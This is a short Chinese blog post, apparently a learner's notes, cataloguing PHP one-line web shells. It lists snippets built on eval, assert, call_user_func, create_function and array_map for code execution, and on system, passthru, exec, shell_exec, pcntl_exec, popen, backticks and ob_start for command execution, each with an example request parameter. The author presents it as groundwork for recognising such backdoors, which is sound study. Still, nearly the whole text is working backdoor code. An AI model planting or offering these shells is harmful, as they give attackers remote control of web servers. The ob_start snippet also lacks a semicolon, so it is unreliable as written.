一、

  一直以来对PHP的eval这一类函数和system这一类存在疑惑的地方,今天彻底研究了一下,写查PHP一句话的时候可以更有把握一些。其实都是一些满基础的知识,大佬别喷。干安全的基础很重要。

二、PHP的eval类型函数,一句话:代码执行而不是命令执行。(菜刀用这类)

1、简单类

//#1-eval
<?php
    eval($_POST["cmd"])
?>
//post:cmd=phpinfo();


//#2-assert
<?php
    assert($_POST["cmd"])
?>
//post:cmd=phpinfo();


//#3-call_user_func
<?php
    call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert&para=phpinfo();

2、复杂类

//#1-create_function
<?php 
    $a= $_POST['func'];
    $b = create_function('$a',"echo $a");
    $b('');
?>
//post:func=phpinfo();


//#2-array_map------->这个不懂先记下来
<?php
    $array = array(0,1,2,3,4,5);
    array_map($_GET['func'],$array);
?>
//post:func=phpinfo

三、PHP的system类型函数,一句话:命令执行而不是代码执行。

//#1-system
<?php system($_POST["cmd"]);?>

//#2-passthru
<?php passthru($_POST["cmd"]);?>

//#3-exec
<?php echo exec($_POST["cmd"]);?>

//#4-pcntl_exec
<?php 
    pcntl_exec("/bin/bash",array($_POST["cmd"]));
?>

//#5-shell_exec
<?php echo shell_exec($_POST["cmd"]); ?>

//#6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>

//#7-``
<?php echo `whoami`?>

高深一点的:

<?php
$cmd = 'system';
ob_start($cmd)
echo "$_GET[a]";
ob_end_flush();
?>//?a=whoami
最后修改:2019 年 10 月 19 日 11 : 14 AM
如果你觉得有用,欢迎赞赏